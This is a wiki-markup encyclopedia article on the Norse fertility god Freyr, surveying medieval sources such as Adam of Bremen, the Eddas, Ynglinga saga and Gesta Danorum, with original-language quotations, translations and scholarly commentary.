'''Freyr''' (sometimes anglicized '''Frey'''{{ref|Freyr}}) is one of the most important deities in [[Norse paganism]] and [[Norse mythology]]. Worshipped as a [[phallus|phallic]] [[fertility god]], Freyr &quot;bestows peace and pleasure on mortals&quot;. He rules over the rain, the shining of the sun and the produce of the fields.

He is one of the [[Vanir]], the son of the sea god [[Njörðr]] and brother of the love goddess [[Freyja]]. The gods gave him [[Álfheimr]], the realm of the [[Álfar|Elves]], as a teething present. He rides the shining [[Norse dwarves|dwarf]]-made boar [[Gullinbursti]] and possesses the ship [[Skíðblaðnir]] which always has a favorable breeze and can be folded together and carried in a pouch when it is not being used. He has the servants [[Skírnir]], [[Byggvir]] and [[Beyla]].

The most extensive Freyr [[mythology|myth]] relates Freyr's falling in love with the [[jotun|giantess]] [[Gerðr]]. Eventually she becomes his wife but first Freyr has to give away his [[magic sword]] which fights on its own &quot;if wise be he who wields it&quot;. Deprived of this weapon Freyr defeats the giant [[Beli]] with an [[antler]]. But at [[Ragnarök]], the end of the world, Freyr will be killed by the fire giant [[Surtr]]. 

Freyr was especially associated with Sweden and seen as an ancestor of the [[Mythological kings of Sweden|Swedish royal house]].

==Adam of Bremen==

One of the oldest written sources on pre-Christian Scandinavian religious practices is [[Adam of Bremen]]'s ''Gesta Hammaburgensis Ecclesiae Pontificum''. Writing around 1080 Adam claimed to have access to first-hand accounts on pagan practices in Sweden. He refers to Freyr with the Latinized name '''Fricco''' and mentions that an image of him at [[Skara]] was destroyed by a Christian missionary. His description of the [[Temple at Uppsala]] gives more details on the god.

{|
| style=&quot;padding: 1pt 10pt;&quot; |
Nunc de supersticione Sueonum pauca dicemus. Nobilissimum illa gens templum habet, quod Ubsola dicitur, non longe positum ab Sictona civitate. In hoc templo, quod totum ex auro paratum est, statuas trium deorum veneratur populus, ita ut potentissimus eorum Thor in medio solium habeat triclinio; hinc et inde locum possident Wodan et Fricco. Quorum significationes eiusmodi sunt: 'Thor', inquiunt, 'praesidet in aere, qui tonitrus et fulmina, ventos ymbresque, serena et fruges gubernat. Alter Wodan, id est furor, bella gerit, hominique ministrat virtutem contra inimicos. Tertius est Fricco, pacem voluptatemque largiens mortalibus'. Cuius etiam simulacrum fingunt cum ingenti priapo. ''Gesta Hammaburgensis'' 26, [http://hbar.phys.msu.su/gorm/chrons/bremen.htm Waitz' edition]
| style=&quot;padding: 1pt 10pt;&quot; |
Now we shall say a few words about the superstitions of the Swedes. That folk has a very famous temple called [[Gamla Uppsala|Uppsala]] situated far from the city of [[Sigtuna]] and [[Björkö]]. In this temple, entirely decked out in gold, the people worship the statues of three gods in such wise that the mightiest of them, [[Thor]], occupies a throne in the middle of the chamber; [[Wotan]] and Frikko have places on either side. The significance of these gods is as follows: Thor, they say, presides over the air, which governs the thunder and lightning, the winds and rains, fair weather and crops. The other, Wotan&amp;mdash;that is, the Furious&amp;mdash;carries on war and imparts to man strength against his enemies. The third is Frikko, who bestows peace and pleasure on mortals. His likeness, too, they fashion with an immense [[phallus]]. ''Gesta Hammaburgensis'' 26, Tschan's translation
|
|}

Later in the account Adam states that when a marriage is performed a [[libation]] is made to the image of Fricco. This association with marriages, peace and pleasure clearly identifies Fricco as a [[fertility god]].

Historians are divided on the reliability of Adam's account.{{ref|Adam}} While he is close in time to the events he describes he has a clear agenda to emphasize the role of the see of Hamburg in the [[Christianization of Scandinavia]]. His timeframe for the Christianization of Sweden conflicts with other sources, such as [[runes|runic]] inscriptions, and archaeological evidence does not confirm the presence of a large temple at Uppsala. On the other hand the existence of phallic idols was confirmed in 1904 with a find at Rällinge in Södermanland, Sweden.{{ref|Rällinge}}

==The ''Prose Edda''==

When [[Snorri Sturluson]] was writing in 13th century Iceland the pagan gods were still remembered despite more than two centuries of Christianity. In the ''[[Gylfaginning]]'' section of his ''[[Prose Edda]]'', Snorri introduces Freyr as one of the major gods.

{|
| style=&quot;padding: 1pt 10pt;&quot; |
Njörðr í Nóatúnum gat síðan tvau börn, hét sonr Freyr en dóttir Freyja. Þau váru fögr álitum ok máttug. Freyr er hinn ágætasti af ásum. Hann ræðr fyrir regni ok skini sólar, ok þar með ávexti jarðar, ok á hann er gott at heita til árs ok friðar. Hann ræðr ok fésælu manna. ''Gylfaginning'' 24, [http://www.hi.is/~eybjorn/gg/ggrpar23.html EB's edition]
| style=&quot;padding: 1pt 10pt;&quot; |
[[Njördr]] in [[Nóatún]] begot afterward two children: the son was called Freyr, and the daughter [[Freyja]]; they were fair of face and mighty. Freyr is the most renowned of the [[Æsir]]; he rules over the rain and the shining of the sun, and therewithal the fruit of the earth; and it is good to call on him for fruitful seasons and peace. He governs also the prosperity of men. ''Gylfaginning'' XXIV, [http://www.northvegr.org/lore/prose/037040.php Brodeur's translation]
|
|}

[[Image:Goldgubb.jpg|frame|right|Several Scandinavian gold plaques have been interpreted as showing a meeting between Freyr and Gerðr.]]
This description has similarities to the older account by Adam of Bremen but the differences are interesting. Adam assigns control of the weather and produce of the fields to Thor but Snorri says that Freyr rules over those areas. Snorri also omits any explicitly sexual references in Freyr's description. Those discrepancies can be explained in several ways. It is possible that the Norse gods did not have exactly the same roles in Icelandic and Swedish paganism but it must also be remembered that Adam and Snorri were writing with different goals in mind. Adam was probably eager to shock his readers with tales of pagan lewdness while Snorri treats the mythology with the sympathy of an antiquarian and aims to entertain his audience. Either Snorri or Adam may also have had distorted information.

The only extended myth related about Freyr in the ''Prose Edda'' is the story of his marriage. 

{|
| style=&quot;padding: 1pt 10pt;&quot; |
Þat var einn dag er Freyr hafði gengit í Hliðskjálf ok sá of heima alla. En er hann leit í norðrætt, þá sá hann á einum bœ mikit hús ok fagrt, ok til þess húss gekk kona, ok er hon tók upp höndum ok lauk hurð fyrir sér þá lýsti af höndum hennar bæði í lopt ok á lög, ok allir heimar birtusk af henni. ''Gylfaginning'' 37, [http://www.hi.is/~eybjorn/gg/ggrpar33.html EB's edition]
| style=&quot;padding: 1pt 10pt;&quot; |
It chanced one day that Freyr had gone to [[Hlidskjálf]], and gazed over all the world; but when he looked over into the northern region, he saw on an estate a house great and fair. And toward this house went a woman; when she raised her hands and opened the door before her, brightness gleamed from her hands, both over sky and sea, and all the worlds were illumined of her. ''Gylfaginning'' XXXVII, [http://www.northvegr.org/lore/prose/045048.php Brodeur's translation] 
|
|} 

The woman is [[Gerðr]], a beautiful [[jotun|giantess]]. Freyr immediately falls in love with her and becomes depressed and taciturn. After a period of brooding, he consents to talk to [[Skírnir]], his foot-page. He tells Skírnir that he has fallen in love with a beautiful woman and thinks he will die if he cannot have her. He asks Skírnir to go and woo her for him.

{|
| style=&quot;padding: 1pt 10pt;&quot; |
Þá svarar Skírnir, sagði svá at hann skal fara sendiferð en Freyr skal fá honum sverð sitt. Þat var svá gott sverð at sjálft vásk. En Freyr lét eigi þat til skorta ok gaf honum sverðit. Þá fór Skírnir ok bað honum konunnar ok fekk heitit hennar, ok níu nóttum síðar skyldi hon þar koma er Barey heitir ok ganga þá at brullaupinu með Frey. ''Gylfaginning'' 37, [http://www.hi.is/~eybjorn/gg/ggrpar33.html EB's edition] 
| style=&quot;padding: 1pt 10pt;&quot; |
Then Skírnir answered thus: he would go on his errand, but Freyr should give him his own sword-which is so good that it fights of itself;- and Freyr did not refuse, but gave him the sword. Then Skírnir went forth and wooed the woman for him, and received her promise; and nine nights later she was to come to the place called [[Barrey]], and then go to the bridal with Freyr. ''Gylfaginning'' XXXVII, [http://www.northvegr.org/lore/prose/049052.php Brodeur's translation]
|
|}

The loss of Freyr's sword has consequences. According to the ''Prose Edda'', Freyr had to fight [[Beli]] without his sword and slew him with an [[antler]]. But the result at [[Ragnarök]], the end of the world, will be much more serious. Freyr is fated to fight the fire-giant [[Surtr]] and since he does not have his sword he will be defeated.

Even after the loss of his weapon Freyr still has two magical artifacts, both of them [[Norse dwarves|dwarf]]-made. One is the ship [[Skíðblaðnir]], which will have favoring breeze wherever its owner wants to go and can also be folded together like a napkin and carried in a pouch. The other is the boar [[Gullinbursti]] whose mane glows to illuminate the way for his owner. No myths involving Skíðblaðnir have come down to us but Snorri relates that Freyr rode to [[Baldr]]'s funeral in a wagon pulled by Gullinbursti.

==The ''Poetic Edda''==

Freyr is mentioned in several of the poems in the ''[[Poetic Edda]]''. The information there is largely consistent with that of the ''Prose Edda'' while each collection has some details not found in the other.

''[[Völuspá]]'', the best known of the Eddic poems, describes the final confrontation between Freyr and Surtr during Ragnarök.

{|
| style=&quot;padding: 1pt 10pt;&quot; |
:Surtr fer sunnan 
:með sviga lævi, 
:skínn af sverði 
:sól valtíva. 
:Grjótbjörg gnata, 
:en gífr rata, 
:troða halir helveg, 
:en himinn klofnar.  

:Þá kømr Hlínar 
:harmr annarr fram, 
:er Óðinn ferr 
:við úlf vega, 
:en bani Belja 
:bjartr at Surti, 
:þá mun Friggjar 
:falla angan. ''Völuspá'' 51 - 52, [http://www.hi.is/~eybjorn/ugm/vsp3.html EB's edition] 
| style=&quot;padding: 1pt 10pt;&quot; |
:Surtr moves from the south
:with the scathe of branches:{{ref|scathe}}
:there shines from his sword
:the sun of Gods of the Slain.
:Stone peaks clash,
:and troll wives take to the road.
:Warriors tread the path from [[Hel (realm)|Hel]],
:and heaven breaks apart.

:Then is fulfilled [[Hlín]]'s
:second sorrow,
:when Óðinn goes
:to fight with the [[Fenrisulfr|wolf]],
:and Beli's slayer,
:bright, against Surtr.
:Then shall [[Frigg]]'s
:sweet friend fall. ''Völuspá'' 50 - 51, Dronke's translation
|
|}

Some scholars have preferred a slightly different translation, in which the sun shines &quot;from the sword of the gods&quot;. The idea is that the sword which Surtr slays Freyr with is the &quot;sword of the gods&quot; which Freyr had earlier bargained away for Gerðr. This would add a further layer of tragedy to the myth. [[Sigurður Nordal]] argued for this view but the possibility represented by Dronke's translation above is equally possible.

''[[Grímnismál]]'', a poem which largely consists of miscellaneous information about the gods, mentions Freyr's abode.

{|
| style=&quot;padding: 1pt 10pt;&quot; |
:Alfheim Frey 
:gáfu í árdaga
:tívar at tannféi. ''Grímnismál'' 5, [http://www.heimskringla.no/original/edda/grimnismal.php GJ's edition]
| style=&quot;padding: 1pt 10pt;&quot; |
:[[Alfheim]] the gods to Frey
:gave in days of yore
:for a tooth-gift. ''Grímnismál'' 5, [http://www.northvegr.org/lore/poetic2/003_01.php Thorpe's translation]
|
|}

A [[tooth-gift]] was a gift given to an infant on the cutting of the first tooth. Since ''Alfheimr'' or ''Álfheimr'' means &quot;World of [[Álfar]] (Elves)&quot; the fact that Freyr should own it is one of the indications of a connection between the Vanir and the obscure Álfar. ''Grímnismál'' also mentions that the sons of [[Ívaldi]] made Skíðblaðnir for Freyr and that it is the best of ships.

In the poem ''[[Lokasenna]]'', [[Loki]] accuses the gods of various misdeeds. He criticizes the Vanir for [[incest]], saying that [[Njörðr]] had Freyr with his sister. He also states that the gods discovered Freyr and Freyja having sex together. The god [[Týr]] speaks up in Freyr's defense.

{|
| style=&quot;padding: 1pt 10pt;&quot; |
:Freyr er beztr 
:allra ballriða 
:ása görðum í; 
:mey hann né grætir 
:né manns konu 
:ok leysir ór höftum hvern. ''Lokasenna'' 37, [http://www.heimskringla.no/original/edda/lokasenna.php GJ's edition]
| style=&quot;padding: 1pt 10pt;&quot; |
:Frey is best
:of all the exalted gods
:in the Æsir´s courts:
:no maid he makes to weep,
:no wife of man,
:and from bonds looses all. ''Lokasenna'' 37, [http://www.northvegr.org/lore/poetic2/013_02.php Thorpe's translation]
|
|}

''Lokasenna'' also mentions that Freyr has servants called [[Byggvir]] and [[Beyla]]. They seem to have been associated with the making of bread.

==''Skírnismál''==
{{main|Skírnismál}}
The courtship of Freyr and Gerðr is dealt with extensively in the Eddic poem ''[[Skírnismál]]''.

[[Image:Skírnismál-748-2v.jpg|right|thumb|250px|[[AM 748 I 4to]], one of the two manuscripts to preserve ''Skírnismál'', has notes on the margin indicating the speaker of each verse. Some scholars consider this a clue that the poem might have been performed as a theatrical work.]]

Freyr is depressed after seeing Gerðr. Njörðr and [[Skaði]] ask Skírnir to go and talk with him. Freyr reveals the cause of his grief and asks Skírnir to go to [[Jötunheimr]] to woo Gerðr for him. Freyr gives Skírnir a horse and his magical sword for the journey.

{|
| style=&quot;padding: 1pt 10pt;&quot; |
:Mar ek þér þann gef,
:er þik um myrkvan berr
:vísan vafrloga,
:ok þat sverð,
:er sjalft mun vegask
:ef sá er horskr, er hefr. ''Skírnismál'' 9, [http://www.heimskringla.no/original/edda/skirnismal.php GJ's edition]
| style=&quot;padding: 1pt 10pt;&quot; |
:My steed I lend thee
:to lift thee o'er the weird
:ring of flickering flame,
:the sword also
:which swings itself,
:if wise be he who wields it. ''Skírnismál'' 9, [http://www.jackowitch.com/Skirnismal.html Hollander's translation]
|
|}

When Skírnir finds Gerðr he starts by offering her treasures if she will marry Freyr. When she declines he gets her consent by threatening her with destructive magic. 
{{sect-stub}}

==Skaldic poetry==

Freyr is referred to several times in [[skaldic poetry]]. In ''[[Húsdrápa]]'' he is said to ride a boar to Baldr's funeral. 

{|
| style=&quot;padding: 1pt 10pt;&quot; |
:Ríðr á börg til borgar
:böðfróðr sonar Óðins
:Freyr ok folkum stýrir
:fyrstr enum golli byrsta. ''Húsdrápa'' 7, [http://www.hi.is/~eybjorn/ugm/skindex/hdr.html FJ's edition]
| style=&quot;padding: 1pt 10pt;&quot; |
:The battle-bold Freyr rideth
:First on the golden-bristled
:Barrow-boar to the bale-fire
:Of Baldr, and leads the people. ''Húsdrápa'' 7, [http://www.northvegr.org/lore/prose/109112.php Brodeur's translation]
|
|}

In a poem by [[Egill Skalla-Grímsson]], Freyr is called upon along with [[Njörðr]] to drive [[Eric I of Norway|Eric Bloodaxe]] from Norway. The same [[skald]] mentions in ''[[Arinbjarnarkviða]]'' that his friend has been blessed by the two gods.

{|
| style=&quot;padding: 1pt 10pt;&quot; |
:[E]n Grjótbjörn
:of gæddan hefr 
:Freyr ok Njörðr 
:at féar afli. ''Arinbjarnarkviða'' 17, [http://www.hi.is/~eybjorn/ugm/skindex/egar.html FJ's edition]
| style=&quot;padding: 1pt 10pt;&quot; |
:Frey and Njord
:have endowed
:rock-bear
:with wealth's force. ''Arinbjarnarkviða'' 17, Scudder's translation
|
|}

In ''[[Nafnaþulur]]'' Freyr he is said to ride the horse [[Blóðughófi]] (''Bloody Hoof'').

Freyr's name is, as those of other gods, common in [[kenning]]s for warriors.

==''Ynglinga saga''==

[[Snorri Sturluson]]'s starts his epic history of the kings of Norway with ''[[Ynglinga saga]]'', a [[Euhemerus|euhemerized]] account of the Norse gods. Here Odin and the Æsir are men from Asia who gain power through their prowess in war and Odin's skills. But when Odin attacks the Vanir he bites off more than he can chew and peace is negotiated after a destructive and indecisive war. Hostages are exchanged to seal the peace deal and the Vanir send Freyr and Njörðr to live with the Æsir. At this point the saga, like ''Lokasenna'', mentions that incest was practised among the Vanir.

{|
| style=&quot;padding: 1pt 10pt;&quot; |
Þá er Njörðr var með Vönum, þá hafði hann átta systur sína, því at þat váru þar lög; váru þeirra börn Freyr ok Freyja. En þat var bannat með Ásum at byggja svá náit at frændsemi. ''Ynglinga saga'' 4, [http://www.heimskringla.no/original/heimskringla/ynglingasaga.php Schultz's edition]
| style=&quot;padding: 1pt 10pt;&quot; |
While Njord was with the Vanaland people he had taken his own sister in marriage, for that was
allowed by their law; and their children were Frey and Freya.  But among the Asaland people it was forbidden to intermarry with such near relations. ''Ynglinga saga'' 4, [http://sunsite.berkeley.edu/OMACL/Heimskringla/ynglinga.html Laing's translation]
|
|}

Odin makes Njörðr and Freyr priests of sacrifices and they become influential leaders. Odin goes on to conquer the North and settles in Sweden where he rules as king, collects taxes and maintains sacrifices. After Odin's death, Njörðr takes the throne. During his rule there is peace and good harvest and the Swedes come to believe that Njörðr controls these things. Eventually Njörðr falls ill and dies.

{|
| style=&quot;padding: 1pt 10pt;&quot; |
Freyr tók þá ríki eptir Njörð; var hann kallaðr dróttinn yfir Svíum ok tók skattgjafir af þeim; hann var vinsæll ok ársæll sem faðir hans. Freyr reisti at Uppsölum hof mikit, ok setti þar höfuðstað sinn; lagði þar til allar skyldir sínar, lönd ok lausa aura; þá hófst Uppsala auðr, ok hefir haldizt æ síðan. Á hans dögum hófst Fróða friðr, þá var ok ár um öll lönd; kendu Svíar þat Frey. Var hann því meir dýrkaðr en önnur goðin, sem á hans dögum varð landsfólkit auðgara en fyrr af friðinum ok ári. Gerðr Gýmis dóttir hét kona hans; sonr þeirra hét Fjölnir. Freyr hét Yngvi öðru nafni; Yngva nafn var lengi síðan haft í hans ætt fyrir tignarnafn, ok Ynglingar váru síðan kallaðir hans ættmenn. Freyr tók sótt; en er at honum leið sóttin, leituðu menn sér ráðs, ok létu fá menn til hans koma, en bjoggu haug mikinn, ok létu dyrr á ok 3 glugga. En er Freyr var dauðr, báru þeir hann leyniliga í hauginn, ok sögðu Svíum at hann lifði, ok varðveittu hann þar 3 vetr. En skatt öllum heltu þeir í hauginn, í einn glugg gullinu, en í annan silfrinu, í hinn þriðja eirpenningum. Þá hélzt ár ok friðr. ''Ynglinga saga'' 12,  [http://www.heimskringla.no/original/heimskringla/ynglingasaga.php Schultz's edition]
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Frey took the kingdom after Njord, and was called [[drott|drot]] by the Swedes, and they paid taxes to him. He was, like his father, fortunate in friends and in good seasons. Frey built a great temple at Upsal, made it his chief seat, and gave it all his taxes, his land, and goods.  Then began the [[Uppsala öd|Upsal domains]], which have remained ever since. Then began in his days the [[Frode]]-peace; and then there were good seasons, in all the land, which the Swedes ascribed to Frey, so that he was more worshipped than the other gods, as the people became much richer in his days by reason of the peace and good seasons. His wife was called Gerd, daughter of [[Gymir|Gymis]], and their son was called [[Fjölnir|Fjolne]]. Frey was called by another name, [[Yngvi|Yngve]]; and this name Yngve was considered long after in his race as a name of honour, so that his descendants have since been called [[Yngling]]er. Frey fell into a sickness; and as his illness took the upper hand, his men took the plan of letting few approach him. In the meantime they raised a great [[tumulus|mound]], in which they placed a door with three holes in it. Now when Frey died they bore him secretly into the mound, but told the Swedes he was alive; and they kept watch over him for three years. They brought all the taxes into the mound, and through the one hole they put in the gold, through the other the silver, and through the third the copper money that was paid. Peace and good seasons continued. ''Ynglinga saga'' 12, [http://sunsite.berkeley.edu/OMACL/Heimskringla/ynglinga.html Laing's translation]
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[[Image:Yngvi-freyr.jpg|thumb|350px|right|Yngvi-Freyr constructs the [[Temple at Uppsala]] in this early 19th century artwork by [[Hugo Hamilton]].]]
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Þá er allir Svíar vissu, at Freyr var dauðr, en hélzt ár ok friðr, þá trúðu þeir, at svá mundi vera, meðan Freyr væri á Svíþjóð, ok vildu eigi brenna hann, ok kölluðu hann veraldar goð ok blótuðu mest til árs ok friðar alla ævi síðan. ''Ynglinga saga'' 13, [http://www.heimskringla.no/original/heimskringla/ynglingasaga.php Schultz's edition]
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When it became known to the Swedes that Frey was dead, and yet peace and good seasons continued, they believed that it must be so as long as Frey remained in Sweden; and therefore they would not burn his remains, but called him the god of this world, and afterwards offered continually [[blót|blood-sacrifices]] to him, principally for peace and good seasons. ''Ynglinga saga'' 13, [http://sunsite.berkeley.edu/OMACL/Heimskringla/ynglinga.html Laing's translation]
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Freyr had a son named [[Fjölnir]], who succeeds him as king and rules during the continuing period of peace and good seasons. Fjölnir's descendants are enumerated in ''[[Ynglingatal]]'' which describes the [[mythological kings of Sweden]].

==Other Icelandic sources==

Worship of Freyr is alluded to in several [[Icelanders' sagas]]. Those are ''[[Hrafnkels saga]]'', ''[[Hallfreðar saga]]'', ''[[Víga-Glúms saga]]'', ''[[Gísla saga]]'' and ''[[Vatnsdœla saga]]''.

Other Icelandic sources referring to Freyr include ''[[Íslendingabók]]'', ''[[Landnámabók]]'' and ''[[Hervarar saga]]''.

{{sect-stub}}

==Gesta Danorum==

The Danish ''[[Gesta Danorum]]'' describes Freyr, under the name '''Frø''', as the &quot;viceroy of the gods&quot;.

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Frø quoque deorum satrapa sedem haud procul Upsala cepit, ubi veterem litationis morem tot gentibus ac saeculis usurpatum tristi infandoque piaculo mutavit. Siquidem humani generis hostias mactare aggressus foeda superis libamenta persolvit. ''Gesta Danorum'' 3,  [http://www.kb.dk/elib/lit/dan/saxo/lat/or.dsr/3/2/index.htm Olrik's edition]
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There was also a viceroy of the gods, Frø, who took up residence not far from Uppsala and altered the ancient system of sacrifice practised for centuries among many peoples to a morbid and unspeakable form of expiation. He delivered abominable offerings to the powers above by instituting the slaughter of human victims. ''Gesta Danorum'' 3, Fisher's translation
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That Freyr had a cult at Uppsala is well confirmed from other sources. The reference to the change in sacrificial ritual may also reflect some historical memory. There is archaeological evidence for an increase in [[human sacrifice]]s in the late [[Viking Age]] {{ref|HumanSacrifice}} though among the Norse gods human sacrifice is most often linked to Odin. Another reference to Frø and sacrifices is found earlier in the work, where the beginning of an annual ''[[blót]]'' to him is related. King [[Hadingus]] is cursed after killing a divine being and atones for his crime with a sacrifice.

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Siquidem propitiandorum numinum gratia Frø deo rem divinam furvis hostiis fecit. Quem litationis morem annuo feriarum circuitu repetitum posteris imitandum reliquit. Frøblot Sueones vocant. ''Gesta Danorum'' 1, [http://www.kb.dk/elib/lit/dan/saxo/lat/or.dsr/1/8/index.htm Olrik's edition]
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[I]n order to mollify the divinities he did indeed make a holy sacrifice of dark-coloured victims to the god Frø. He repeated this mode of propitiation at an annual festival and left it to be imitated by his descendants. The Swedes call it Frøblot. ''Gesta Danorum'' 1, Fisher's translation
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The sacrifice of dark-coloured victims to Freyr has a parallel in [[Ancient Greek religion]] where the [[Chthonic]] fertility deities preferred dark-coloured victims to white ones.

In book 9, Saxo identifies Frø as the &quot;king of Sweden&quot; (''rex Suetiae'').

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Quo tempore rex Suetiae Frø, interfecto Norvagiensium rege Sywardo, coniuges necessariorum eius prostibulo relegatas publice constuprandas exhibuit. ''Gesta Danorum'' 9, [http://www.kb.dk/elib/lit/dan/saxo/lat/or.dsr/9/4/index.htm Olrik's edition]
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About this time the Swedish ruler Frø, after killing Sivard, king of the Norwegians, removed the wives of Sivard's relatives to a brothel and exposed them to public prostitution. ''Gesta Danorum'' 9, Fisher's translation
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The reference to public prostitution may be a memory of fertility cult practices. Such a memory may also be the source of a description in book 6 of the stay of [[Starcatherus]], a follower of Odin, in Sweden.

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Mortuo autem Bemono, Starcatherus ab athletis Biarmensibus ob virtutem accitus, cum plurima apud eos memoratu digna edidisset facinora, Sueonum fines ingreditur. Ubi cum filiis Frø septennio feriatus ab his tandem ad Haconem Daniae tyrannum se contulit, quod apud Upsalam sacrificiorum tempore constitutus effeminatos corporum motus scaenicosque mimorum plausus ac mollia nolarum crepitacula fastidiret. Unde patet, quam remotum a lascivia animum habuerit, qui ne eius quidem spectator esse sustinuit. Adeo virtus luxui resistit. ''Gesta Danorum'' 6, [http://www.kb.dk/elib/lit/dan/saxo/lat/or.dsr/6/5/index.htm Olrik's edition]
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After Bemoni's death Starkather, because of his valour, was summoned by the Biarmian champions and there performed many feats worthy of the tellings. Then he entered Swedish territory where he spent seven years in a leisurely stay with the sons of Frø, after which he departed to join Haki, the lord of Denmark, for, living at Uppsala in the period of sacrifices, he had become disgusted with the womanish body movements, the clatter of actors on the stage and the soft tinkling of bells. It is obvious how far his heart was removed from frivolity if he could not even bear to watch these occasions. A manly individual is resistant to wantonness. ''Gesta Danorum'' 6, Fisher's translation
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==Yngvi==
{{main|Yngvi}}
A strophe of the Anglo Saxon [[rune poem]] (c. 1100) records that:

:''Ing was first among the [[East Dane]]s seen by men''

and this may refer to the origins of the worship of '''[[Ingui]]''' in the tribal areas that [[Tacitus]] mentions in his ''[[Germania (book)|Germania]]'' as being populated by the Inguieonnic tribes. A later Danish chronicler lists Ingui was one of three brothers that the Danish tribes descended from. The strophe also states that &quot;then he (Ingui) went back over the waves, his wagon behind him&quot; which could connect Ingui to earlier conceptions of the wagon processions of [[Nerthus]], and the later Scandinavian conceptions of Freyr's wagon journeys. Ingui is mentioned also in some later Anglo-Saxon literature under varying forms of his name, such as &quot;For what doth Ingeld have to do with Christ&quot;, and the variants used in [[Beowulf]] to designate the kings as 'leader of the friends of Ing'. The compound Ingui-Frea (OE) and Yngvi-Freyr (ON) likely refer to the connection between the god and the [[Germanic king]]s' role as priests during the sacrifices in the pagan period, as 'Frea' and 'Freyr' are titles meaning 'Lord'.

The Swedish royal dynasty was known as the [[Yngling (lineage)|Ynglings]] from their descent from Yngvi-Freyr. This is supported by Tacitus, who wrote about the Germans: &quot;In their ancient songs, their only way of remembering or recording the past they celebrate an earth-born god [[Tuisco]], and his son [[Mannus]], as the origin of their race, as their founders. To Mannus they assign three sons, from whose names, they say, the coast tribes are called [[Ingaevones]]; those of the interior, [[Herminones]]; all the rest, [[Istaevones]]&quot;.

==Parallels==

[[Image:Three kings or three gods.jpg|thumb|right|This part of a 12th century Swedish tapestry has been interpreted to show the one-eyed [[Odin]], the hammer-wielding [[Thor]] and Freyr holding up an ear of corn. Others hold that those are three Christian kings and still others that the artist intended the ambiguity.{{ref|Tapestry}}]]

Traditions related to Freyr may also appear connected with the legendary Danish king [[Fróði]]. King Fróði is especially treated in Book Five of [[Saxo Grammaticus]]' ''[[Gesta Danorum]]'' and in the ''[[Ynglinga saga]]''. Fróði's reign was one of peace and prosperity and after his death his body was drawn around in a cart.

In Catholic Christianity several saints have domains and rites similar to those of Freyr. In some areas of Western-Europe, [[Saint Blaise]] was honored as the patron saint of plowmen and farmers. The benediction of grain prior to seeding was associated with him and on Saint Blaise's Day, February 3, a procession was held in his honor. In the procession, a man representing the saint was drawn on a cart throughout the countryside. In some villages, Saint Blaise was also considered a patron of human fecundity and young women wishing to marry prayed before his statue.{{ref|Blaise}} Also noteworthy in this context are the [[phallic saints]] who were patrons of human fertility.

In Scandinavia and England, [[Saint Stephen]] may have inherited some of Freyr's legacy. [[St. Stephen's Day|His feast day]] is December 26 and thus he came to play a part in the Yuletide celebrations which may previously have been associated with Freyr. In old Swedish art, Stephen is shown as tending to horses and bringing a boar's head to a Yuletide banquet.{{ref|Stephen}} Both elements are extracanonical and may be pagan survivals. [[Christmas ham]] is an old tradition in Sweden and may have originated as a Yuletide boar sacrifice to Freyr.

==Notes==
#{{note|Freyr}} The name ''Freyr'' is related to words meaning &quot;lord&quot; in [[West Germanic  languages]]. It is sometimes anglicized to ''Frey'' by omitting the [[nominative]] ending. In the modern [[Scandinavian languages]] it can appear as ''Frej'', ''Frö'', ''Frøy'' or ''Fröj''. In [[Richard Wagner]]'s ''[[Das Rheingold]]'' the god appears as ''Froh''.
#{{note|HumanSacrifice}} Davidson 1999, Vol. II, p. 55.
#{{note|Adam}} Haastrup 2004, pp. 18-24. 
#{{note|Rällinge}} &quot;Rällinge-Frö&quot;.
#{{note|scathe}} A ''[[kenning]]'' meaning &quot;fire&quot;.
#{{note|Tapestry}} Leiren 1999.
#{{note|Blaise}} Berger 1985, pp. 81-84.
#{{note|Stephen}} Berger 1985, pp. 105-112.

==References==

* [[Adam of Bremen]] (edited by G. Waitz) (1876). ''Gesta Hammaburgensis Ecclesiae Pontificum''. Berlin. [http://hbar.phys.msu.su/gorm/chrons/bremen.htm Available online] Translation of the section on the Temple at Uppsala available at http://www.northvegr.org/lore/gesta/index.php
* Adam of Bremen (translated by Francis Joseph Tschan and Timothy Reuter) (2002). ''History of the Archbishops of Hamburg-Bremen''. Columbia University Press. ISBN 0231125755 
* Ásgeir Blöndal Magnússon (1989). ''Íslensk orðsifjabók''. Reykjavík: Orðabók Háskólans.
* Berger, Pamela (1985). ''The Goddess Obscured: Transformation of the Grain Protectress from Goddess to Saint'' Boston: Beacon Press. ISBN 0807067237.
* &quot;BookRags Biography on Freyr.&quot; ''[[BookRags]]''. Retrieved 6 February 2006, from the World Wide Web. http://www.bookrags.com/biography-freyr-eorl-05/index.html
* Brodeur, Arthur Gilchrist (tr.) (1916). ''The Prose Edda by Snorri Sturluson''. New York: The American-Scandinavian Foundation. [http://www.northvegr.org/lore/prose/index.php Available online]
* [[H. R. Ellis Davidson|Davidson, Hilda Ellis]] and Peter Fisher (1999). ''Saxo Grammaticus : The History of the Danes : Books I-IX''. Bury St Edmunds: St Edmundsbury Press. ISBN 0859915026. First published 1979-1980.
* [[Georges Dumézil|Dumézil, Georges]] (1973). ''From Myth to Fiction : The Saga of Hadingus''. Trans. Derek Coltman. Chicago: U. of Chicago Press. ISBN 0226169723.
* Eysteinn Björnsson (ed.) (2005). ''Snorra-Edda: Formáli &amp; Gylfaginning : Textar fjögurra meginhandrita''. Published online: http://www.hi.is/~eybjorn/gg/
* Finnur Jónsson (1913). ''Goðafræði Norðmanna og Íslendinga eftir heimildum''. Reykjavík: Hið íslenska bókmentafjelag.
* Finnur Jónsson (1931). ''Lexicon Poeticum''. København: S. L. Møllers Bogtrykkeri.
* Haastrup, Ulla, R. E. Greenwood and Søren Kaspersen (eds.) (2004). ''Images of Cult and Devotion : Function and Reception of Christian Images of Medieval and Post-Medieval Europe''. Copenhagen: Museum Tusculanum Press. ISBN 8772899034
* Hollander, Lee M. (tr.) (1962). ''The Poetic Edda: Translated with an Introduction and Explanatory Notes''. (2nd ed., rev.). Austin, TX: University of Texas Press. ISBN 0292764995. (Some of the translations appear at [http://www.angelfire.com/on/Wodensharrow/texts.html Wodensharrow: Texts]).
* Leiren, Terje I. (1999). ''From Pagan to Christian: The Story in the 12th-Century Tapestry of the Skog Church''. Published online: http://faculty.washington.edu/leiren/vikings2.html 
* Lindow, John (2001). ''Handbook of Norse mythology''. Santa Barbara: ABC-Clio. ISBN 1576072177.
* Olrik, J. and H. Ræder (1931). ''Saxo Grammaticus : Gesta Danorum''. [http://www.kb.dk/elib/lit/dan/saxo/lat/or.dsr/index.htm Available online]
